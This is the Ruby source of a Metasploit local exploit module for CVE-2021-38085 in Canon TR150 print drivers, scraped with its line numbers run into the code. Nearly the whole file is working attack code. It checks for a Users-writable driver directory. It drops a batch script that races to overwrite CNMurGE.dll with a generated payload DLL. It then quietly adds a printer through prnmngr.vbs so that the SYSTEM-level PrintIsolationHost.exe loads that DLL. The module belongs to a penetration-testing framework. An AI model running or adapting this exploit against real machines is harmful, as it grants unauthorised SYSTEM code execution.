Path: blob/master/modules/exploits/windows/local/canon_driver_privesc.rb
33050 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Post::Windows::Priv11include Msf::Exploit::FileDropper12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Canon Driver Privilege Escalation',19'Description' => %q{20Canon TR150 print drivers versions 3.71.2.10 and below allow local users to read/write files21within the "CanonBJ" directory and its subdirectories. By overwriting the DLL at22C:\ProgramData\CanonBJ\IJPrinter\CNMWINDOWS\Canon TR150 series\LanguageModules\040C\CNMurGE.dll23with a malicious DLL at the right time whilst running the C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs24script to install a new printer, a timing issue can be exploited to cause the PrintIsolationHost.exe program,25which runs as NT AUTHORITY\SYSTEM, to successfully load the malicious DLL. Successful exploitation26will grant attackers code execution as the NT AUTHORITY\SYSTEM user.2728This module leverages the prnmngr.vbs script29to add and delete printers. Multiple runs of this30module may be required given successful exploitation31is time-sensitive.32},33'License' => MSF_LICENSE,34'Author' => [35'Jacob Baines', # discovery, PoC, module36'Shelby Pace' # original Ricoh module37],38'References' => [39['CVE', '2021-38085'],40],41'Platform' => 'win',42'SessionTypes' => [ 'meterpreter' ],43'Targets' => [44[45'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }46]47],48'Notes' => {49'SideEffects' => [ ARTIFACTS_ON_DISK ],50'Reliability' => [ UNRELIABLE_SESSION ],51'Stability' => [ SERVICE_RESOURCE_LOSS ]52},53'DisclosureDate' => '2021-08-07',54'DefaultTarget' => 0,55'Compat' => {56'Meterpreter' => {57'Commands' => %w[58stdapi_sys_process_execute59]60}61}62)63)6465self.needs_cleanup = true66end6768def check69@driver_path = ''70dir_name = 'C:\\ProgramData\\CanonBJ\\IJPrinter\\CNMWINDOWS\\Canon TR150 series'7172return CheckCode::Safe('No Canon TR150 driver directory found') unless directory?(dir_name)7374language_dirs = dir(dir_name)7576return CheckCode::Detected("Detected Canon driver directory, but no language files. Its likely the driver is installed but a printer hasn't been added yet") unless language_dirs.length7778@driver_path = dir_name79@driver_path.concat('\\LanguageModules\\040C')80res = cmd_exec("icacls \"#{@driver_path}\"")81vulnerable = res.match(/\\Users:(?:\(I\))?\(OI\)\(CI\)\(F\)/)8283return CheckCode::Safe("#{@driver_path} directory does not exist or does not grant Users full permissions") unless vulnerable8485vprint_status("Vulnerable language driver directory: #{@driver_path}")86CheckCode::Appears('Canon language driver directory grants Users full permissions')87end8889def add_printer(driver_name)90fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)9192dll_data = generate_payload_dll93dll_path = "#{@driver_path}\\CNMurGE.dll"9495temp_path = expand_path('%TEMP%\\CNMurGE.dll')9697bat_file_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(5..9)}.bat")98cp_cmd = "copy /y \"#{temp_path}\" \"#{dll_path}\""99100# this script monitors the target dll for modification and then copies101# over our malicious dll. As this is a time based attack, it won't102# always be succuessful!103bat_file = <<~HEREDOC104attrib -a "#{dll_path}"105:repeat106for %%i in ("#{dll_path}") do echo %%~ai | find "a" >nul || goto :repeat107timeout /t 1108#{cp_cmd}109attrib -a "#{dll_path}"110HEREDOC111112print_status("Dropping batch script to #{bat_file_path}")113write_file(bat_file_path, bat_file)114115print_status("Writing DLL file to #{temp_path}")116write_file(temp_path, dll_data)117register_files_for_cleanup(bat_file_path, temp_path)118119script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{driver_name}\" -r \"lpt1:\""120bat_cmd = "cmd.exe /c \"#{bat_file_path}\""121vprint_status('Executing the batch script...')122client.sys.process.execute(bat_cmd, nil, { 'Hidden' => true })123124print_status("Adding printer #{@printer_name}...")125cmd_exec(script_cmd)126rescue Rex::Post::Meterpreter::RequestError => e127fail_with(Failure::Unknown, "#{e.class} #{e.message}")128end129130def exploit131fail_with(Failure::None, 'Already running as SYSTEM') if is_system?132133fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'134135if sysinfo['Architecture'] != payload.arch.first136fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target machine')137end138139@printer_name = Rex::Text.rand_text_alpha(5..9)140@script_path = 'C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs'141drvr_name = 'Canon TR150 series'142143add_printer(drvr_name)144end145146def cleanup147print_status("Deleting printer #{@printer_name}")148sleep(3)149delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""150client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true })151end152end153154155